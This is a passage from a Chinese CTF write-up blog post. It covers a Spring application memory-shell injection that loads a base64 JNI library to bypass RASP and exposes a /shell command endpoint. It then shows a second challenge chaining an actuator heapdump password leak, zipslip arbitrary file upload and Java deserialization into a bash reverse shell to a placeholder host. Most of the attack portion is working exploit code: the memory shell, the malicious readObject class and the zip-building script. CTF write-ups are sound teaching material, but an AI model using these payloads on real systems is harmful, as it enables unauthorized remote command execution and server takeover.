AEAAAACAAAAAAAAADAgAAAAAAAAMCAAAAAAAACcAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAAAQPgAAAAAAABAuAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC/AAAADwAAAAMAAAAAAAAAGD4AAAAAAAAYLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAACA+AAAAAAAAIC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADgPwAAAAAAAOAvAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAFBAAAAAAAAAUDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAABYQAAAAAAAAFgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAABYMAAAAAAAACcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAgDAAAAAAAABABQAAAAAAABoAAAAsAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAMA1AAAAAAAA8gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACyNwAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA";
  23. private static final String LIB_PATH = "/tmp/libcmd.so";
  24. static {
  25. try {
  26. byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
  27. RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
  28. randomAccessFile.write(jniBytes);
  29. randomAccessFile.close();
  30. //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
  31. ClassLoader cmdLoader = EvilClass.class.getClassLoader();
  32. Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
  33. Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
  34. Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
  35. load.setAccessible(true);
  36. Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
  37. field.setAccessible(true);
  38. Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
  39. Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
  40. nativeLibraryCons.setAccessible(true);
  41. Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
  42. libs.addElement(nativeLibraryObj);
  43. field.set(cmdLoader, libs);
  44. load.invoke(nativeLibraryObj, LIB_PATH, false);
  45. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  46. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  47. Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
  48. configField.setAccessible(true);
  49. RequestMappingInfo.BuilderConfiguration config =
  50. (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
  51. Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
  52. RequestMappingInfo info = RequestMappingInfo.paths("/shell")
  53. .options(config)
  54. .build();
  55. EvilClass springControllerMemShell = new EvilClass();
  56. mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
  57. } catch (Exception hi) {
  58. hi.printStackTrace();
  59. }
  60. }
  61. public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
  62. String cmd = request.getParameter("cmd");
  63. if (cmd != null) {
  64. String execRes = EvilClass.execCmd(cmd);
  65. response.getWriter().write(execRes);
  66. response.getWriter().flush();
  67. }
  68. }
  69. @Override
  70. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  71. }
  72. @Override
  73. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  74. }
  75. }
打入内存马执行命令拿到flag

利用反序列化加载上面的恶意类打入内存马,加载JNI来绕过RASP执行命令

七、Deserialize?Upload!

1.访问页面。
 


2.阅读源码,在pom.xml中发现存在actuator依赖,并且SpringSecurity没有对/actuator进行验证
 


 


在application.properties中,确认actuator暴露端点,同时题目给出的源码附件没有真实password

  1. spring.security.user.name=admin
  2. spring.security.user.password=This_is_fake_password
  3. management.endpoints.web.exposure.include=health,info,env,heapdump

3.访问/actuator/env,得到以下信息

  1. "java.home":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre"}
  2. "spring.security.user.name":{"value":"admin","origin":"class path resource [application.properties] from app.jar - 8:27"}
  3. "spring.security.user.password":{"value":"**","origin":"class path resource [application.properties] from app.jar - 9:31"}

内存中存在springsecurity的密码,但在env中做了脱敏处理,无法直接获取
访问/actuator/heapdump,下载heapdump后使用visualVM等工具进行分析,以visualVM为例,使用OQL语句查找spring.security.user.password

select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)

在查询结果中,可以找到真正的密码
 


4.进入/admin/,文件上传接口存在zipslip任意文件上传漏洞,结合之前泄露的env中的javahome路径,可以想到构造恶意类后上传至jre/classes目录
在源码中发现/admin/下存在反序列化入口,所以可以构造一个readObject中含恶意代码的类

 
  1. import java.io.*;
  2. public class Evil implements Serializable {
  3. private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
  4. in.defaultReadObject();
  5. Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
  6. InputStream is = p.getInputStream();
  7. BufferedReader reader = new BufferedReader(new InputStreamReader(is));
  8. p.waitFor();
  9. if(p.exitValue()!=0){
  10. }
  11. String s = null;
  12. while((s=reader.readLine())!=null){
  13. System.out.println(s);
  14. }
  15. }
  16. }

编译为class文件,通过脚本构造zip

  1. import zipfile
  2. zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
  3. info = zipfile.ZipInfo("poc.zip")
  4. zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
  5. zipFile.close()

上传成功后,本地构造base64,通过反序列化入口反弹shell
 


在根目录下读flag文件即可。


还没看够?可以关注

+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!(私聊进群一起学习,共同进步)腾讯文档-在线文档icon-default.png?t=N7T8https://docs.qq.com/doc/DYmVETWlZemh0Ymdv

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/176700
推荐阅读
相关标签
  

闽ICP备14008679号